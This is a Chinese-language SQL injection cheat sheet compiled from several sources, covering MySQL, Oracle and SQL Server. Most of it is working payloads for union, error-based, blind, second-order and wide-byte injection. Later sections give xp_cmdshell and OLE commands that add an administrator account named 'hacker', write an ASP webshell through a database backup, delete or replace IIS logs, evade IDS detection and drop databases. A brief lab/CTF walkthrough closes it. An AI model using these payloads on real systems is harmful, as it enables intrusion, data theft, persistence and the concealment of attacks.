;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’
 

联合 注入

?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+

报错 注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
 
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
 
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
 
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
 
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
 
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
 
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:

substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +

时间盲注

时间盲注也叫延时注入,一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)。一般时间盲注我们还需要使用条件判断函数

#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

布尔盲注

?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

insert、delete、update

insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入

报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec) 
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)  
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'  
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

盲注

#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

二次注入与宽字节注入

二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码它,这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)  
mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户

宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入

id=-1%df' union select... 
#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

Oracle 手工注入

联合注入

?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

布尔盲注

既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);

该函数的含义如下:

IF 条件=值1 THEN
    RETURN(返回值1)
ELSIF 条件=值2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64--  #二分法

SQL server 手工注入

联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--

手动注入 总结 2

看看下面的
1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是否是mssql
;and user>0

3.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

4.注入参数是字符
'and [查询条件] and ''='

5.搜索时没过滤参数的
'and [查询条件] and '%25'='

6.猜数据库
;and (select Count(*) from [数据库名])>0

7.猜字段
;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库


16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';

请求的时候,像这样子用:
http://ip/l.asp?c=dir


SQL手工注入大全

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version

1.去掉xp_cmdshell扩展过程的方法是使用如下语句:

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句:

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

?


SQL手工注入方法总结(SQL Server2005)2010-01-28 16:17---------以下以省略注入点用URL代替

--(1) ******查看驱动器方法******

-- 建表p(i为自动编号,a记录盘符类似"c:\",b记录可用字节,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--

URL;insert p exec xp_availablemedia;--列出所有驱动器并插入表p

URL;and (select count(*) from p)>3;--折半法查出驱动器总数

URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)

--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名

URL;and (select a from p where i=1)>3;--报错得到第一个驱动器名

--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名

URL;;drop table p;--删除表p

--(2) ******查看目录方法******

URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m记录目录,i记录深度)

URL;insert pa exec xp_dirtree ’e:’;--列出驱动器e并插入表pa

URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度

URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--报错得到深度i=1的第一个目录名

--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第一个目录名的长度

URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一个目录名的第一个字符长度

--上面一般用无显错情况下使用-------(得到第二个目录把"top 0"换为"top 1",换深度只换i就行)以此类推,得到e盘的所有目录

URL;drop

手工MSSQL注入常用SQL语句
and exists (select * from sysobjects) //判断是否是MSSQL
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴库名DBID为1,2,3….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
暴网站目录
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
SQL Server
判断是否可注射:
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6′
http://www.exehack.net/article.asp?id=6 and 1=1
http://www.exehack.net/article.asp?id=6 and 1=2
http://www.exehack.net/article.asp?action=value’ and 1=1
http://www.exehack.net/article.asp?action=value’ and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
确定数据库类型:
http://www.exehack.net/article.asp?id=6 and user>0
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1–
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1–
article.asp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password=’oooooo’ where username=’xxx’
增添数据库中的数据:
;insert into admin values (xxx,oooooo)–
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int–
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell ‘dir c:\’
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
删除扩展存储过程:;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell’,@shell out
;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp’
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’
‘/’
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、DSqlHelper
检测权限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。
检测XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)
检测XP_REGREAD(注册表读取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
检测SP_MAKEWEBTASK(备份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)
检测SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)
检测XP_SUBDIRS读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)
检测XP_DIRTREE读子目录:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)
修改内容:
; UPDATE 表名 set 字段=内容 where 1=1
XP_CMDSHELL检测:
;exec master..xp_cmdshell ‘dir c:\’
修复XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用户hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用户hacker加到ADMIN组:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’
创建表test:
;create table [dbo].[test] ([dstr][char](255));
检测表段test:
and exists (select * from test)
读取WEB的位置(读注册表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的绝对路径(显错模式):
and 1=(select count(*) from test where dstr > 1)
删除表test:
;drop table test;–
创建查看目录的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目录的内容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目录的内容dirs:
and 0<>(select top 1 paths from dirs)
备份数据库DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–
删除表dirs:
;drop table dirs;–
创建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驱动盘列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
删除表temp:
;delete from temp;–
创建表dirs:
;create table dirs(paths varchar(100), id int);–
获得子目录列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出内容(显错模式):
and 0<>(select top 1 paths from dirs)
删除表dirs:
;delete from dirs;–
创建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目录内容:
;insert dirs exec master..xp_cmdshell ‘dir c:\’
删除表dirs:
;delete from dirs;–
检测SP_OAcreate(执行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)
SP_OAcreate执行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’
SP_OAcreate建目录:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’
创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默认 Web 站点” -v “e”,”e:\”‘
设置虚拟目录E为可读:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
启动SERVER服务:
;exec master..xp_servicecontrol ‘start’, ‘server’
绕过IDS检测XP_CMDSHELL:
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
开启远程数据库1:
; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
开启远程数据库2:
;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’

一次简单的 SQL 手工注入

示例:( 可以基于 dvwa 、pikachu 等靶场进行测试 )

(1)根据以上知识判断,在搜索框中输入and 1=1(或or 1=1等)的一些变换形式不断尝试,最后发现输入' and 1=1 #返回页面正常,因此初步判断网站存在基于报错的搜索型注入点,

(2)然后开始进行手工注入
    a. 暴字段长度:命令 ' order by 3 #  页面返回正常,命令 ' order by 4 # 报错,因此判断字段长度为3。
    
    b. 匹配字段:命令 ' select 1,2,3 #无法执行,输入命令 ' and 1=1 union select 1,2,3 # 页面以及字段信息正常回显(因此该注入支持union联合查询注入)
        暴字段位置:命令 ' and 1=2 union select 1,2,3 # 。页面返回2,3
        
    c. 暴库,命令(MySQL暴库命令) ' and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA  # 。根据页面返回信息可知网站使用MYSQL数据库,且网站的数据库为news。
        命令解析:SCHEMA_NAME当前数据库名 
        information_schema(数据词典)是MySQL自带的数据库,它提供了访问数据库元数据的方式(元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等)。
        SCHEMATA(information_schema中的一个表):提供了当前MySQL实例中所有数据库的信息。show databases的结果取之此表。

    d. 猜表,命令  ' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'news' # 。可以看到有news和secret_table两个表。
        命令解析:TABLE_NAME 当前表名
        TABLES(information_schema中的一个表)提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

    e. 猜字段,命令 ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'news' #  
        ''and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'secret_table' #
        输入两个命令后发现表二中有 fl4g  字段

    f. 暴密码(flag),命令 ' and 1=2 union select 1,2,fl4g from secret_table # 。得到flag,SQL注入完成

sql 注入手动测试 汇总

 sql 注入流程分析:
https://www.bilibili.com/video/BV1Mr4y1i7s4?p=64
https://www.bilibili.com/video/BV1Mr4y1i7s4?p=65
https://www.bilibili.com/video/BV1Mr4y1i7s4?p=66

前面闭合;中间要执行的sql;后面闭合
sql 注释的三种方式

  • --空格
  • --+
  • #

http://localhost/url.php?id=1'; select * from test;--+
http://localhost/url.php?id=1'; select * from test;--空格
http://localhost/url.php?id=1'; select * from test;#
http://localhost/url.php?id=1' union select GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where table_schema='wuya';--+
 

SQL入门到入魔
https://blog.csdn.net/machinegunjoe/category_11061559.html

sql 注入手动测试 汇总

子域名挖掘

  • 子域名搜索  site baidu.com      
  • 在线子域名搜索
  • 子域名搜索工具

CMS 指纹  浏览器插件:what' run

URL 采集  

  • inurl:index.php?id= index.php?login=
  • inurl:login admin

sqlmap 抓取

示例:

SQL 注入 分类

对于不同的注入点类型,比如:字符型需要适当添加单引号,而数字型的注入点则不需要。如何判断是否存在SQL注入?简单点讲就是:所有的输入,只要和数据库进行交互的,都有可能触发SQL注入

  • 根据参数类型:字符型,数字型、搜索型
  • 根据提交方式:POST注入,GET注入,HTTP HEAD注入,根据提交方式分类后,可以发现SQL注入最常发生的位置在 "链接地址、数据参数、cookie信息以及HTTP请求头等位置"。如何判断这些位置上是否能够触发SQL注入,最简单的方式就是在相应位置输入and 1=1 (以及 and 1=1 的变换形式)来判断。
  • 根据有无回显:联合注入,报错注入,布尔盲注,延时注入
  • 其他注入:堆叠注入,宽字节注入,二次注入等

根据参数类型:字符型,数字型、搜索型

数字型 注入点

  • 数字型 注入点。许多网页链接有类似的结构 http://www.example.com/12.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。
